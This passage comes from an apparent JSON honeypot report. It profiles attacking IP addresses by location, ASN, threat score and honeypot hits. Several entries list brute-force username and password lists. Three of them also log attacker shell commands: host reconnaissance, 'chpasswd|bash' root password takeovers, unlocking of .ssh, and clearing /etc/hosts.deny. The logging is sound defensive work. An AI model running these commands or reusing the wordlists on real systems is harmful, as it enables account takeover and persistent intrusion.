        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:54:06.823000+00:00",
        "last_seen_30d": "2026-05-09T21:55:25.826000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.40.120.26": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:32:16.874Z",
      "last_seen": "2026-05-07T01:32:29.844Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:32:16.874000+00:00",
        "last_seen_30d": "2026-05-07T01:33:33.415000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.152.220.210": {
      "attack_count": 2,
      "first_seen": "2026-05-07T22:01:02.597Z",
      "last_seen": "2026-05-07T22:01:14.797Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T22:01:02.597000+00:00",
        "last_seen_30d": "2026-05-07T22:02:17.540000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.82.84.10": {
      "attack_count": 2,
      "first_seen": "2026-05-06T02:37:35.885Z",
      "last_seen": "2026-05-06T02:37:48.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cartagena",
      "asn": 10620,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:37:35.885000+00:00",
        "last_seen_30d": "2026-05-06T02:38:53.462000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.70.76.230": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:13:05.444Z",
      "last_seen": "2026-05-23T00:13:18.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:13:05.444000+00:00",
        "last_seen_30d": "2026-05-23T00:14:24.727000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.6.165.90": {
      "attack_count": 2,
      "first_seen": "2026-05-03T10:09:01.313Z",
      "last_seen": "2026-05-03T10:09:16.929Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": "Budapest",
      "asn": 5483,
      "as_org": "Magyar Telekom Plc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:09:01.313000+00:00",
        "last_seen_30d": "2026-05-03T10:10:25.888000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.0.81.6": {
      "attack_count": 2,
      "first_seen": "2026-05-17T09:56:31.371Z",
      "last_seen": "2026-05-17T09:56:43.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 46198,
      "as_org": "Trilogy Dominicana, S.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T09:56:31.371000+00:00",
        "last_seen_30d": "2026-05-17T09:57:52.830000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.231": {
      "attack_count": 2,
      "first_seen": "2026-05-28T20:47:55.960Z",
      "last_seen": "2026-05-28T20:48:05.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:45:58.322000+00:00",
        "last_seen_30d": "2026-05-30T06:10:58.511000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 24,
        "Adbhoney": 4,
        "Cowrie": 2,
        "Sentrypeer": 1
      }
    },
    "38.23.30.128": {
      "attack_count": 2,
      "first_seen": "2026-05-12T06:45:45.825Z",
      "last_seen": "2026-05-12T06:45:58.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Midway",
      "asn": 23418,
      "as_org": "The Darien Telephone Co. Inc.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:45:45.825000+00:00",
        "last_seen_30d": "2026-05-12T06:47:05.167000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.60.232.2": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:23:30.265Z",
      "last_seen": "2026-05-23T02:24:19.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:23:30.265000+00:00",
        "last_seen_30d": "2026-05-23T02:25:26.385000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.118.73.9": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:43:55.310Z",
      "last_seen": "2026-05-12T19:44:26.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Vijayawada",
      "asn": 45582,
      "as_org": "VAINAVI INDUSTIES LTD, INTERNET SERVICE PROVIDER, INDIA",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:43:55.310000+00:00",
        "last_seen_30d": "2026-05-12T19:45:32.755000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.189.77.143": {
      "attack_count": 2,
      "first_seen": "2026-05-19T11:00:30.060Z",
      "last_seen": "2026-05-19T11:00:42.684Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Santa Mar\u00eda de Punilla",
      "asn": 269854,
      "as_org": "LILA SUSANA FERREYRALA CUMBRE TV",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:00:30.060000+00:00",
        "last_seen_30d": "2026-05-19T11:01:47.079000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.126.16.66": {
      "attack_count": 2,
      "first_seen": "2026-05-10T03:48:10.534Z",
      "last_seen": "2026-05-10T03:48:41.370Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:48:10.534000+00:00",
        "last_seen_30d": "2026-05-10T03:49:47.071000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.47.125.93": {
      "attack_count": 2,
      "first_seen": "2026-05-21T18:15:20.052Z",
      "last_seen": "2026-05-21T18:15:32.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bologna",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:15:20.052000+00:00",
        "last_seen_30d": "2026-05-21T18:16:35.381000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.173.133.103": {
      "attack_count": 2,
      "first_seen": "2026-05-16T13:53:51.065Z",
      "last_seen": "2026-05-16T13:55:51.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nal'chik",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:53:51.065000+00:00",
        "last_seen_30d": "2026-05-16T14:05:51.442000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.98.171.223": {
      "attack_count": 2,
      "first_seen": "2026-05-22T02:54:31.282Z",
      "last_seen": "2026-05-22T02:54:44.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "G\u00f6rele",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T02:54:31.282000+00:00",
        "last_seen_30d": "2026-05-22T02:55:48.584000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.67": {
      "attack_count": 2,
      "first_seen": "2026-05-09T12:30:29.864Z",
      "last_seen": "2026-05-09T12:30:32.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 26,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T05:37:41+00:00",
        "last_seen_30d": "2026-05-29T23:45:40.223000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Honeytrap": 29,
        "Cowrie": 2
      }
    },
    "160.119.76.200": {
      "attack_count": 1145,
      "first_seen": "2026-05-04T06:29:10.899Z",
      "last_seen": "2026-05-04T06:47:48.728Z",
      "sessions": 229,
      "ports": [],
      "usernames_attempted": [
        "root",
        "supports",
        "emo",
        "newfpbx",
        "system",
        "fefe",
        "sugarmaint",
        "supermaint",
        "systems",
        "centos",
        "freepbxuser",
        "hapoop",
        "hellj",
        "meme",
        "noti",
        "omda",
        "pbxsystem",
        "rpc",
        "sangoma",
        "t3rr0r"
      ],
      "passwords_attempted": [
        "z4ng0rber",
        "Xhima!@!@#123",
        "Itsemoemo2025@Fuck@allPBX",
        "Itsemoemo2025@Washere2025",
        "ItsemoemoWashere2023support",
        "asdasdasd123123123",
        "t3rr0rt3rr0r",
        "z@3t4rf1fin0",
        "Java@/gg9@5",
        "Sam4z1ngw0nd3r5Z",
        "ZabTharwat@2016",
        "ZabTharwat@2021Emo",
        "emot3rr0rt3rr0rsupport",
        "emotomdaomdasupport",
        "love@automn",
        "m@XiC0oC1Ty",
        "notinoti",
        "pbx@01011",
        "supports@123",
        "supportsEmo2020"
      ],
      "commands_executed": [
        "uname -a; free -m"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 2074,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T05:24:53+00:00",
        "last_seen_30d": "2026-05-04T06:59:23.667000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1145,
        "Suricata": 928,
        "H0neytr4p": 1
      }
    },
    "81.30.157.18": {
      "attack_count": 950,
      "first_seen": "2026-05-08T19:25:45.030Z",
      "last_seen": "2026-05-08T20:09:40.776Z",
      "sessions": 475,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 24961,
      "as_org": "WIIT AG",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1436,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:25:45.030000+00:00",
        "last_seen_30d": "2026-05-08T20:10:45.131000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 950,
        "Suricata": 486
      }
    },
    "185.40.30.168": {
      "attack_count": 554,
      "first_seen": "2026-05-18T23:46:48.690Z",
      "last_seen": "2026-05-20T22:19:41.956Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cockroach",
        "roman",
        "viktor",
        "xian",
        "aa",
        "alice",
        "claude",
        "cubrid",
        "debian",
        "ganesh",
        "guangzhou",
        "kaifa",
        "ma",
        "naver",
        "pritunl",
        "qiantai",
        "sina"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "1qwertyuiop",
        "2000",
        "999999",
        "A1234567",
        "Admin@123",
        "Asd@123123123",
        "Dd112211",
        "December2024",
        "P@ssw0rd!23",
        "Welcome#1",
        "aa",
        "acceler8",
        "cde3CDE#",
        "claude123",
        "cockroach"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nezN8OTq2Ejsa\\nezN8OTq2Ejsa\\n\"|passwd",
        "echo \"cockroach\\nTfujE0l5wIR3\\nTfujE0l5wIR3\\n\"|passwd",
        "echo \"root:9Lt0GVNAaTNY\"|chpasswd|bash",
        "echo \"viktor\\nm9QbwKunt31L\\nm9QbwKunt31L\\n\"|passwd",
        "echo \"xian\\nLFjGsHuE1K2R\\nLFjGsHuE1K2R\\n\"|passwd",
        "echo -e \"123456\\nezN8OTq2Ejsa\\nezN8OTq2Ejsa\"|passwd|bash",
        "echo -e \"cockroach\\nTfujE0l5wIR3\\nTfujE0l5wIR3\"|passwd|bash",
        "echo -e \"viktor\\nm9QbwKunt31L\\nm9QbwKunt31L\"|passwd|bash",
        "echo -e \"xian\\nLFjGsHuE1K2R\\nLFjGsHuE1K2R\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 61400,
      "as_org": "Start2 LLC",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 668,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:46:48.690000+00:00",
        "last_seen_30d": "2026-05-20T22:20:47.902000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 554,
        "Suricata": 114
      }
    },
    "69.5.20.232": {
      "attack_count": 524,
      "first_seen": "2026-05-15T22:55:00.384Z",
      "last_seen": "2026-05-20T02:41:06.412Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pakchoi",
        "zhxnephu",
        "claude",
        "dbus-helper",
        "linux",
        "systemd-sync",
        "udev-monitor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "!^)$!(*&",
        "123321",
        "14theroad",
        "1qazzse4",
        "2016",
        "5845201314",
        "991992",
        "Aa98637381",
        "Anna",
        "Asdf123456",
        "Kermit123@",
        "P@$$W0rd!!",
        "Pa$$word",
        "Push@8240",
        "Test1234",
        "Welcome@2019"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Kermit123@\\ni5WfTvo2UmOR\\ni5WfTvo2UmOR\\n\"|passwd",
        "echo \"root:5tpzeKE8whTj\"|chpasswd|bash",
        "echo \"root:thVoyV0tK5gj\"|chpasswd|bash",
        "echo \"zXXUKpvydMqzp1quBItn\\n8GoA1dvYjCgz\\n8GoA1dvYjCgz\\n\"|passwd",
        "echo -e \"Kermit123@\\ni5WfTvo2UmOR\\ni5WfTvo2UmOR\"|passwd|bash",
        "echo -e \"zXXUKpvydMqzp1quBItn\\n8GoA1dvYjCgz\\n8GoA1dvYjCgz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 654,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:55:00.384000+00:00",
        "last_seen_30d": "2026-05-20T02:42:08.123000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 524,
        "Suricata": 130
      }
    },
    "114.141.59.195": {
      "attack_count": 483,
      "first_seen": "2026-05-12T23:22:45.362Z",
      "last_seen": "2026-05-30T16:55:12.251Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "wfp",
        "adminuser",
        "agent",
        "bot",
        "devuser",
        "ftpuser",
        "grid",
        "sipv",
        "song",
        "spring",
        "staging",
        "svxlink",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "007007",
        "10261026",
        "123",
        "1234",
        "123456",
        "12qw",
        "1q2w3e!@",
        "1q2w3e$R%T^Y",
        "ADMIN123",
        "Abcd12345678",
        "P@$sw0rd123",
        "P@ssw0rd",
        "Qq1234",
        "Qwe@1234",
        "Qwe@123456789",
        "Yc123456",
        "adonix",
        "agent123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:0mAlSZb5U380\"|chpasswd|bash",
        "echo \"root:44w5MePi4iT9\"|chpasswd|bash",
        "echo \"root:rRoMrtpUa9r8\"|chpasswd|bash",
        "echo \"wfp\\n6QTgAt2IKzOk\\n6QTgAt2IKzOk\\n\"|passwd",
        "echo -e \"wfp\\n6QTgAt2IKzOk\\n6QTgAt2IKzOk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 142362,
      "as_org": "PT Sukma Sejati Media",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 616,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
